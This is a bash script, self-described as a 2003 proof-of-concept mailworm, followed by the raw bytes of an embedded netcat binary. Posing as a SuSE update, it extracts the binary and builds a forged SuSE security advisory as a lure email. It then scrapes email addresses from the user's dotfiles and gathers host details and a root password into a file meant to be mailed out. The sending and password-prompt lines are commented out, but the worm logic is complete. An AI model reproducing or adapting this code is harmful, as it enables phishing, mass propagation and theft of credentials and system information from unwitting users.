#!/bin/bash # # SuSE-update.sh # # Proof-of-concept mailworm with attached # statically linked netcat # # (C) 2003 Boris Buegling, released under the BSD license # #MALDIR=/dev/.suse/.updateworm MALDIR=~/projects/suse-mailworm/temp NUM=10 SEARCHFILES=`ls -A|grep "^\."` SPEED=20000 YOU=boris@icculus.org nail () { echo "HELO localhost" echo "MAIL FROM:<$1>" echo "RCPT TO:<$2>" echo "DATA" cat $3 echo -ne "\n.\n" echo "QUIT" } mkdir -p $MALDIR sed -n "$((`grep -n --binary-files=text END_OF_DAYS $0|tail -n 1|cut -d: -f-1` + 1)),`cat $0|wc -l` p" $0 >$MALDIR/netzkatze chmod 775 $MALDIR/netzkatze echo "QUIT"|$MALDIR/netzkatze localhost 25 cat >$MALDIR/mehl.bak <. suse-security-announce@suse.com - SuSE's announce-only mailing list. Only SuSE's security announcements are sent to this list. To subscribe, send an email to . For general information or the frequently asked questions (faq) send mail to: or respectively. Important and urgent security fixes will be send to our customers directly. If you do not wish to get these helpful mails, send mail to: ===================================================================== SuSE's security contact is or . The public key is listed below. ===================================================================== Thank you for using SuSE products. The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the clear-text signature shows proof of the authenticity of the text. SuSE Linux AG makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. EOF unset LANG sed -e "s/__DATE/`date +"%A, %b %d %Y %H:%M %Z"`/" -e "s/__MD5SUM/`md5sum $0|awk '{print $1}'`/" $MALDIR/mehl.bak \ >$MALDIR/mehl rm -f $MALDIR/mehl.bak #echo -e "Your system is vulnerable. Please wait while $0 is downloading the updates." grep -r "@" $SEARCHFILES|cut -d: -f2- \ |grep -v pserver|grep -v "^Message"|grep -v "^References" \ |grep -v "^Content"|grep -v "[0-9]@"|grep -vi "^In-Reply-To"|grep -v "www\." \ |grep -v "@xxxx"|grep -v "=A1"|grep -v "[0-9][0-9].*@" \ |sed -e 's/:/ /g' -e 's/email=//g' -e 's///g' -e 's/\[//g' -e 's/?/ /g' \ -e "s/'/ /g" -e 's/)/ /g' -e 's/]/ /g' -e 's/\\/ /g' -e 's/(//g' -e 's/=/ /g' \ -e 's/</ /g' -e 's/>/ /g' -e 's/BR//g' \ -e 's/"/ /g' -e 's/\// /g' -e 's/;//g' -e 's/,//g' -e 's/ /\n/g' -e 's/ //g' -e 's/\t//g' \ |grep -v "^200"|grep -v "^199"|grep -v "^000"|grep -v "^#00"|sed 's/\.$//'|grep -v "^@" \ |grep "@"|grep "\.com\|\.net\|\.org\|\.de\|\.fi" \ |head -n $SPEED|sort|uniq|head -n $NUM >$MALDIR/abook num=1 while [ $num -lt $NUM ] do rcpt=`head -n $num $MALDIR/abook|tail -n 1` #nail suse-security@suse.com $rcpt $MALDIR/mehl|$MALDIR/netzkatze num=`expr $num + 1` done #echo -e "Security update downloaded.\nPlease enter your root password to start the update." #read passwd #echo "Thank you for using SuSE products." hostname >$MALDIR/dau ifconfig|grep "inet addr"|cut -d: -f2|cut -d" " -f1 >>$MALDIR/dau cat /proc/cpuinfo|grep "cpu MHz\|model name"|cut -d" " -f3- >>$MALDIR/dau echo "$((`free|head -n 2|tail -n 1|awk '{print $2}'` / 1024)) MB RAM" >>$MALDIR/dau uname -a >>$MALDIR/dau /lib/libc.so.6 | head -n 1 >>$MALDIR/dau gcc --version | head -n 1 >>$MALDIR/dau ld --version | head -n 1 >>$MALDIR/dau echo "root passwd: $passwd" >>$MALDIR/dau #nail joe@humppamail.info $YOU $MALDIR/dau|$MALDIR/netzkatze exit 0 # END_OF_DAYS ELF4~4 (|| |  XYQDPVQ19ru:t uz= P8U(f= E D$ED$ED$ED$ED$ E D$ED$T $ )= tP= ~ D$D$CT $( @ D$T $( =t$BD%T D$$ (T $a']U(f E D$ED$ED$ED$ ED$E D$E$$ $$&$l7Uf= vd D$h D$$l _$\S]UD$$)%$= u $c D$$#U]] u,D$$$$ $D$Y$$$wE ]]U]u]$ƅt\$D$$i#\$$}O]u]US]M t+ w)@ȉڅ~ : tBH[]U]uu]  D$4$j$tD$t$$]u]UWVS]u  t$Džu $SD$, <$G$$0E"ft\$$$.ƅu\$$D$D$<$$Fƒ8tA$30D$D$[$#CV<t~f= B&D$D$$w*t8u[D$$L D$<$$C~EE$i/D$D$$"ff= D$D$E$)u \$$@7D$D$<$"<$p,ƅt@8u|$$v t$<$N [^_]U]u}]U 6 f= t:  ? @*f= ‰$|$$%Å@$]9tD$t$$D$@D$ $!tv$tD$$ }f= u>|$$F$Åt,D$@D$ $%!C$.t$D$ @$Y fpH @H]u}]UVSup<%<0tKuЅu(0<3tKu 3Ӆu[^]UWVS }] uu $8ftfut$\$$f9w 8Hf9v [^_]UWVS,uE E}f= tD$D$D$D$$!E}y $}tED$ED$ D$D$U$Eu $` f f ft  Pft <$fCuftr}D$ D$E$Åtp=bu? @$$+|$D$$$Nt$ @$*|$D$$]f= tEwE P U$fC=T = up$0o AT AX AE;T }! EU;T |ߋUAT ED$ D$ D$D$E$Xu $[ D$$GD$$p-u D$ D$U$nD$$EtE$,[^_]UWVS,E E]\$ ED$ED$E$E}f= tfu,$+D$E$ y $CDf= EED$ D$E$y $Xlist@enin@g onf@ [@ xt@$;(D$D$q$|D$u$g @$:D$$f= E D$$MD$$v+2ED$ D$D$ D$ D$E$D$$D$ D$E$wE D$$D$$*ED$ D$E$}D$$`E$,]Uf= $( E(UT$D$ D$D$E$y $~}ts5 D$D$$}~.D$D$<$$|$$`FCM}ҡD$$D$@D$$_ EEED$ D$E$y $2 @$z%D$E$ @$Eࡠ @$D%D$$ D$$ E}t"u8tEf}tEf9EtE}t(ED$D$ \$ED$$ +ED$D$ \$ED$$`EnE$,[^_]US]D$D$$tD$$= t $Zf  D$ D$D$izE $S~$  @f D$D$$ ڃt $Ѓ[]UWVS]=( u $6 }t h EB } ] @;# @< }EN}}/E>EE@ T +ut B B BNuu)uED$D$ $u조 P X=t@~ B$~ B B, <^w .CGNu ED$ D$( $y $}[^_]UWVS<}~ED$$zUM EEEE=` tq ` MEEf=\ t;` C$M $ $] $ = t $UME f}t Ew=5 = t  BA D$D$ D$D$$ Åy =u:u EHEf}uf= =$,u}tFD$ D$E$K !E E䡤E}uZtPD$ D$$ ~E Mf=\ u`  $ } w } v(ED$ML$$#EEf}}tMED$ML$$t Å~-f= tD$ED$$_])]d }tk= tML$E$]\$ML$E$ Å~-f= tD$ML$$])]h = t $}u}tEHEUME$? <[^_]UWVSt> u ~u4CF>unC3L$$J @f <$W Åt9u X \$$=T ~ $\~= u$(  D$$tT   T j$ % sD$$mw @f N @f ;  @f D$$YEfD$$q @f  D$$E @f  @f $ uD$$$? $.   & @f $D$|$4$Ãsf= t#$G$ $Ef= tLD$D$A $(  D$$$dO  <t D$$"E}t}@t EE}t  f=  <t3D$$fu D$$2UT$ ED$t$U$I$ ~;$}f= /d D$h D$$l  $}u $ <u $ |t f\ EE࡜ <qED$- $? ƅt/FD$4$Efut$$D$ $Efu D$$Uf9Uv^_H]吐hh XZhYUWVS=_=w9fT$(D$$PD$@1D$h [;h> 5=Í0 8L$P ZYu$|$#v |$ % t:ECYT$$L$BD$01[^_]ËL$$D$(D$QL$AL$ttiD$9D$,vK55|$(|$L$(@|$ D$t |$#YPFT$0f 5 9sۡ < t C 9rÍB[D$(T$$D$HD$ P>Pc _X</uD$ P T$(BD$,D$ B )5XF^|$#R*jh^S\$s3q XZ[ÐWVSS|$ t$\$ P1 Yt6h D$P  PB PRSVWy "tt$$Z[^_ÐVS1ۋt$L$ cvd10A vо 1C0A0C[^D$< ~W0UWVSp$$$Y^tV$9CuCK 09ujS$$$$ 1p[^_]<$$ tԉ.$P4C..$ZCC.Ny.ip6C.intC$#w$ j $$$P$P$D$Pcu:$t7$$H 󤋌$A$@$A AEPS.CEPS.CEPS.CEPS ùSS\$   PO1 Yt4h D$P  PB PRS"tt$$Z[ÐUWVS1ۈQl$t$D$ I9L$$ $sD$,"Z[^_]Ut$$`؃L$(ʃ)ЍPFRUjt9FF FP @ @D$(V0D$,1뀋F0Uj  tF F t$$t$$YY[t_tI1ۋGtUP8ZYtC~jWVD$40D$8 1U7[Zujt$0t$0D$ )D$0t$0D$0D$PVUQPt$ YZt$ZÐWVS1VD$$jD$Pt$|$ t*1ɀ.u= Å~G$Z[^_ ST$[ht$PZYÐVS1ۋt$L$ cvd10A vо 1C0A0C[^VSt$D$ PV0.D$CP3P3.CD$P3Px3.CD$'P3Pb É3[^UWV1S1ۃ D$|$4$D$8Cv?:t{jD$PWB1҉ŋD$ )t.<$ t2 $ߋT$8AA\$ $T$u [^_]À<;.uȋD$8 PW51҅^_tڋL$D$:tGuD$?:uRjD$ PWŋD$ )$2 w<;.tFD4F߈T4F$\$u19sDڋL$8C)9D rT$6D4PW~ZYu $ )4$1D$уLL$룀?tL$똅tD$G8SD$\$ T$t5 ta[RS8ZYt1<%uRS[Z1҅tT$1 t t #thȷt$ZYËT$1 t tøht$ZYÐVS\$D$ ;Ct[^jPGXZx7jjVCjVjjPj$@t t$ [^C말V1S1ۋt$ PЃ wk A1PЃ vD$[^ÐL$D$QYqyi aXYjQPD$Xpxh T$L$PHw,ZT$RYÐ[ L$QPfYYÐD$B1ÃVSt$ VXt KuVD$ËT$1 t tøVSt$ D$T$9t9vJt JACu[^Í\2LJtJIKuސjt$t$t$ÐST$ \$J>wу 1[2D$@1S\$|$ u[1ÍCPjjS Cߐ )ËL$T$1:uBAuÐV1SS\$D$PkYtC|$-tXt$t$SR =v8=tt"1Z[^ÅtUtރC뢐UW1VSQQ\$D$l$ t$$D$PZtC|$-;+u;0 ;t%<`v_€W9};9r"C<;uۅt]|$tZY[^_]"9uӅt]p<@v€7<9w€0뎾CC-D$CUWVS$D$($8tN$1t%t$@8t%uD$$?%t$8uD$(Ĵ[^_]D$' 11D$&D$%D$$D$#D$"D$!D$ D$D$D$D$G$$B$D$/zo$pD$"D$$$2jD$7PRD$4 3D$D$!D$#D$ $?*t8j D$4P$D$$ xD$0$HD$D$&D$'0$|$ j D$4P$HPL$$D$D$/1ۉ|$/gÃ|$uD$|$ uD$t$t$ hl$@U$ D$|$ t+j.U]Y_t@|$t@8t L$t@8utND$4j.P*]Zt:jeP;Y_tC;utK0t.tCt PSXZT$41T$0IL$D$&$ |$$$D$D$50D$$D$D$$D$/xUD$0uD$0|$01I|$ L$t |$9v|$D$ $0t$$$RL$L$4$ ?UWVSl$t$EU)t(\$9vˋEtٍ<EU]D$[^_]ST$$D$ \$ D$$҉\$T$D$tBD$t$,t$,D$PS t[ÐUWVS|$$=l$(D=D$l‰T$ ? G1www<;T$ wwD<#< ;\$ PvYu C;\$  T$tPG0@D$)lV7j E V7j0 AT$;D$ s8 tB;D$ sz uGG T$1;\$ sPZt C܋G$;\$ sPeYu C܋$ T$))C9|z$4)PQV F< tD;\$ s PgZtECIGG[^_]ÍCE"t5P~XZ1G G jh^X1xjjSjSjjPj $@tSg[?SQYQ Nát5PXZUWVS$$$4$ A A B $ B D$r@D$Q$(AT$ h$,P$<j$, D$$,$4f$-ftHT$(9;t"L$Z (9zuލEfuT$(9$.f$/fu$0[^_]ËL$$()L$QhD$ PSWxY8E;u C;$4tm{u8L$$( )9PhD$ PSW8x f{|$U$0$ $,1AS҈T$u{u $4,$4$4 D$|$эyD$PVXZ|$$ 2$ T$ABT$$ 7HD$r4@$4D$t:$412B~$ T$ArBT$$ T$AtOt$)hL$ QSWP8D$|$򮃼$4эy7Pt;T$ $0;D$ ߋ$0$ @@ iU1WV1S$$$8эyRWSD$POƄ$ D< $<U$<$<$<$<St6t<;5 t)<.)Pj4@F\$ DP 뙁[^_]Ã}t퐋D$P5  t^;L$(sc<t_ҍD;$wHD ;D$(s;t ACJu.AC9v9uFt9utK+l$Y[^_]A? ;T$sA9sƋL$1빐WVSt$|$^;^s< tPZtC+^[^_UWVSh$Pjjj$($($(j$)fD$1x$jD$ PpD$+D$Y [~Tkpfp 1 T$jSjU$PR/D$T$ $T$F;5l|1hjD$P Ht!Of [^_]hD$Pt$g $8D$u$8D$uD$$h@tR=uD$$u1;$~  SD$P$ 6 k YjD$P XZ 7`NXPHV1SL$\$ t$9}2B 9|[^9}BUWVS0t$H\$D|$L\$ l$Pt$$%-D$\$t$|$ VSZYVSmZYa|$.D$D$. \$t$f fD$,l$,\$(l$.D$D$(@D$uAz?؃|$XtD$X9v19s 80@9rG.80[^_]D$ vt$$M\$ -G1;D$Xs@;D$Xr؉\$t$D$\$\$t$v0MG|$]D$ v w؃%Hw\$҉t$D$l$,\$(l$.D$(tt:01҈G,09fMfP$\$t$D$\$\$t$5w;|$ |$Xu+D$ @9D$T1.D$ GT$TM)|$XTT$TtD$XD$T19l$Tw~|$Tts\$t$D$l$,\$(l$.D$(0G,0ffP$\$t$D$L$T\$\$t$u+D$ 1t 0MGt$Xt$Xjt$|$ T$ $t[teGM9L$}ut D$0GD$M1ۙT$Ⱥ ֙1C;17gUhUW hꐐVW|$ 1HIQ 5 ƭ t8uז $u u>=uFY_^ÐWVS t$0jjj xBFBtOPh3S uSD$$[^_S1jjj` 묐T$1ɉЃ avBЃ wÐL$T$5 t5 HøÐS1ۋL$ T$5 t5 t 5 u[ÐT$1ɍBv tùUWVSPPT$l$,D$0׋\$$t$(D$D$ HDžt$~ $ u O0$;|$vLtHORUVS0<9~|$tARUVS.É$;|$v u$@PWt$$D$ [^_]'뽐UW1VSD$l$t$ H\$( (F#v u I09v4t01҉I0<9~|$$t*1G9vuЍGPQU [^_]'ԐVWy qQI8tIu1_^Ð UW1VSt$Q_1t VSZY[^_ÐWVSj h D$P h@uD$f$$|$ :tY:.քt<.t Ft<.u(9ֈt-)G9sk)SRW >tGG$GG$_);$0~ [^_SR$4 B:.tR6UD$EUD$ET$ U $T$]Í&'UWV0EUEuE} EE҉UuẺ}9vOEủUE؋utEUUMEUQU؋MԉUEMU0^_]Ë}̅u 1ủE̋E܋UủU܉EԋEủUE딋E9Ev0EMEtuEUEMH냐t&EƃuUU9UwM9Mr